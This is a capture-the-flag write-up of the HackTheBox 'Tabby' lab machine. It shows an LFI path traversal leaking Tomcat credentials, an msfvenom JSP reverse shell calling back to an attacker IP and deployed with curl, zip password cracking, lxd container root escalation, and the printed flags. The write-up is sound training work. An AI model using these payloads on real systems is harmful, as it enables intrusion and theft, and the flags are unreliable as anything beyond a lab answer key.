HackTheBox-Machines-Tabby
HTB > Machines > Tabby
key | val |
---|---|
OS | Linux |
Difficulty | Easy |
Points | 20 |
Release | 20 Jun 2020 |
IP | 10.10.10.194 |
User flag
Services enumeration
Let’s start by adding tabby.htb
to our hosts
file:
$ echo "10.10.10.194 tabby.htb" | sudo tee -a /etc/hosts
Nmap discovers 3 open ports, 2 of which related to http
.
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Mega Hosting 8080/tcp open http Apache Tomcat |_http-title: Apache Tomcat Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Web enumeration (port 80/tcp)
Browsing the main page shows an email addresse in the megahosting.htb
domain. Let’s add the virtualhost to our hosts
file.
Clicking on the “News” item from the menu redirects us to http://megahosting.htb/news.php?file=statement.
Local File Inclusion (LFI)
This URL is vulnerable to Local File Inclusion (LFI) attacks, which allows to read arbitrary files on the server (e.g. http://megahosting.htb/news.php?file=../../../../etc/passwd).
Exploiting this LFI vulnerability, it is possible to read the source code of the vulnerable page (http://megahosting.htb/news.php?file=../news.php):
<?php
$file = $_GET['file'];
$fh = fopen("files/$file","r");
while ($line = fgets($fh)) {
echo($line);
}
fclose($fh);
?>
Apache Tomcat Manager (Port 8080/tcp)
Connecting to http://tabby.htb:8080 shows a HTML page with links to different Apache Tomcat resources, including the manager (/manager/html
). This latest requires an authentication. Pressing “Escape” to avoid the authentication popup window shows a detailed 401 page. This page refers to a tomcat-users.xml
configuration file.
After some research on the Internet, googling for possible locations of this file, I eventually came up with the following location: /usr/share/tomcat9/etc/tomcat-users.xml
. To read the configuration file, I used the LFI vulnerability found previously:
URL: http://megahosting.htb/news.php?file=../../../../usr/share/tomcat9/etc/tomcat-users.xml
<?xml version="1.0" encoding="UTF-8"?>
<!--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<!--
NOTE: By default, no user is included in the "manager-gui" role required
to operate the "/manager/html" web application. If you wish to use this app,
you must define such a user - the username and password are arbitrary. It is
strongly recommended that you do NOT use one of the users in the commented out
section below since they are intended for use with the examples web
application.
-->
<!--
NOTE: The sample user and role entries below are intended for use with the
examples web application. They are wrapped in a comment and thus are ignored
when reading this file. If you wish to configure these users for use with the
examples web application, do not forget to remove the <!.. ..> that surrounds
them. You will also need to set the passwords to something appropriate.
-->
<!--
<role rolename="tomcat"/>
<role rolename="role1"/>
<user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
<user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
<user username="role1" password="<must-be-changed>" roles="role1"/>
-->
<role rolename="admin-gui"/>
<role rolename="manager-script"/>
<user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
</tomcat-users>
As expected, we are provided with the credentials: tomcat:$3cureP4s5w0rd123!
We can now connect. Unfortunately, we are not allowed to use the GUI:
403 Access Denied You are not authorized to view this page.
It means that we will be forced to manually upload an application using curl
.
Reverse shell
Let’s prepare the reverse shell:
$ msfvenom -p java/jsp_shell_reverse_tcp lhost=10.10.14.142 lport=4444 -f war -o revshell.war
According to the Apache Tomcat documentation (https://tomcat.apache.org/tomcat-9.0-doc/manager-howto.html#Deploy_A_New_Application_Archive_(WAR)_Remotely), here is how we can deploy an application:
$ curl -u "tomcat:\$3cureP4s5w0rd123!" \ --upload-file revshell.war \ http://tabby.htb:8080/manager/text/deploy?path=/revshell
Let’s confirm that our application has been deployed:
kali@kali:/data/Tabby/files$ curl -u "tomcat:\$3cureP4s5w0rd123!" http://tabby.htb:8080/manager/text/list OK - Listed applications for virtual host [localhost] /:running:0:ROOT /revshell:running:0:revshell <--------------------------- It is here! /examples:running:0:/usr/share/tomcat9-examples/examples /host-manager:running:0:/usr/share/tomcat9-admin/host-manager /manager:running:0:/usr/share/tomcat9-admin/manager /docs:running:0:/usr/share/tomcat9-docs/docs
Now, let’s start a reverse shell (rlwrap nc -nlvp 4444
) and call our malicious application.
$ curl -u "tomcat:\$3cureP4s5w0rd123!" http://tabby.htb:8080/revshell/
Our listener got a response and we now have a reverse shell. Unfortunately, we can’t read the user flag and will need to move laterally to ash
.
python3 -c "import pty;pty.spawn('/bin/bash')" tomcat@tabby:/var/lib/tomcat9$ ls -la /home ls -la /home total 12 drwxr-xr-x 3 root root 4096 Jun 16 13:32 . drwxr-xr-x 20 root root 4096 May 19 10:28 .. drwxr-x--- 3 ash ash 4096 Jun 16 13:59 ash tomcat@tabby:/var/lib/tomcat9$ ls -la /home/ash ls -la /home/ash ls: cannot open directory '/home/ash': Permission denied
Lateral move
Files owned by ash
Checking the files owned by ash
reveals a backup file. Let’s download it.
tomcat@tabby:/var/lib/tomcat9$ find / -type f -user ash 2>/dev/null find / -type f -user ash 2>/dev/null /var/www/html/files/16162020_backup.zip
Crack zip archive
The backup is password protected, let’s use John to crack the password.
kali@kali:/data/Tabby/files$ /data/src/john/run/zip2john 16162020_backup.zip > zip.hash kali@kali:/data/Tabby/files$ /data/src/john/run/john zip.hash --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (PKZIP [32/64]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status admin@it (16162020_backup.zip) 1g 0:00:00:01 DONE (2020-09-17 14:43) 0.7462g/s 7730Kp/s 7730Kc/s 7730KC/s adnc153..adilizinha Use the "--show" option to display all of the cracked passwords reliably Session completed.
Having the password (admin@it
), we may assume that ash
has used the same password for the backup as his session’s password.
Read the user flag
Let’s switch to ash
and get the user flag:
tomcat@tabby:/var/www/html$ su ash su ash Password: admin@it ash@tabby:/var/www/html$ cd cd ash@tabby:~$ ls -la ls -la total 28 drwxr-x--- 3 ash ash 4096 Jun 16 13:59 . drwxr-xr-x 3 root root 4096 Jun 16 13:32 .. lrwxrwxrwx 1 root root 9 May 21 20:32 .bash_history -> /dev/null -rw-r----- 1 ash ash 220 Feb 25 2020 .bash_logout -rw-r----- 1 ash ash 3771 Feb 25 2020 .bashrc drwx------ 2 ash ash 4096 May 19 11:48 .cache -rw-r----- 1 ash ash 807 Feb 25 2020 .profile -rw-r----- 1 ash ash 0 May 19 11:48 .sudo_as_admin_successful -rw-r----- 1 ash ash 33 Sep 17 12:49 user.txt ash@tabby:~$ cat user.txt cat user.txt f7328d5e25be4a817d7d3482b1e551aa
User flag: f7328d5e25be4a817d7d3482b1e551aa
Root flag
lxd group
Checking the groups ash
belongs to reveals that he’s member of the lxd
group:
ash@tabby:/opt/tomcat$ id id uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)
Alpine image
We can escalate our privileges quite easily using the alpine image. It requires that we build the image on our machine.
$ git clone https://github.com/saghul/lxd-alpine-builder.git $ cd lxd-alpine-builder $ su - root # ./build-alpine
If everything went fine, a *.tar.gz
file should have been generated (e.g. alpine-v3.12-x86_64-20200917_1504.tar.gz
). Transfer it to the target and install the image:
ash@tabby:~$ lxc image import ./alpine-v3.12-x86_64-20200917_1504.tar.gz --alias myimage <e-v3.12-x86_64-20200917_1504.tar.gz --alias myimage ash@tabby:~$ lxc image list lxc image list +---------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+ | ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE | +---------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+ | myimage | aa2e216dad95 | no | alpine v3.12 (20200917_15:04) | x86_64 | CONTAINER | 3.04MB | Sep 17, 2020 at 4:58pm (UTC) | +---------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+ ash@tabby:~$ lxc init myimage tabby -c security.privileged=true lxc init myimage tabby -c security.privileged=true Creating tabby ash@tabby:~$ lxc config device add tabby mydevice disk source=/ path=/mnt/root recursive=true <ydevice disk source=/ path=/mnt/root recursive=true Device mydevice added to tabby ash@tabby:~$ lxc start tabby lxc start tabby ash@tabby:~$ lxc exec tabby /bin/sh lxc exec tabby /bin/sh ~ # cd /mnt/root/root cd /mnt/root/root /mnt/root/root # ls -ila ls -ila total 40 262146 drwx------ 6 root root 4096 Jun 16 13:59 . 2 drwxr-xr-x 20 root root 4096 May 19 10:28 .. 276206 lrwxrwxrwx 1 root root 9 May 21 20:30 .bash_history -> /dev/null 262164 -rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc 400212 drwx------ 2 root root 4096 May 19 22:23 .cache 794706 drwxr-xr-x 3 root root 4096 May 19 11:50 .local 262165 -rw-r--r-- 1 root root 161 Dec 5 2019 .profile 276414 -rw-r--r-- 1 root root 66 May 21 13:46 .selected_editor 794584 drwx------ 2 root root 4096 Jun 16 14:00 .ssh 276913 -rw-r--r-- 1 root root 33 Sep 17 14:41 root.txt 794661 drwxr-xr-x 3 root root 4096 May 19 10:41 snap
Root flag
/mnt/root/root # cat root.txt cat root.txt cdd18a90ca07928509490d6db5f63d9a
Root flag: cdd18a90ca07928509490d6db5f63d9a
Comments
Keywords: ctf hackthebox HTB tabby lfi tomcat alpine lxd container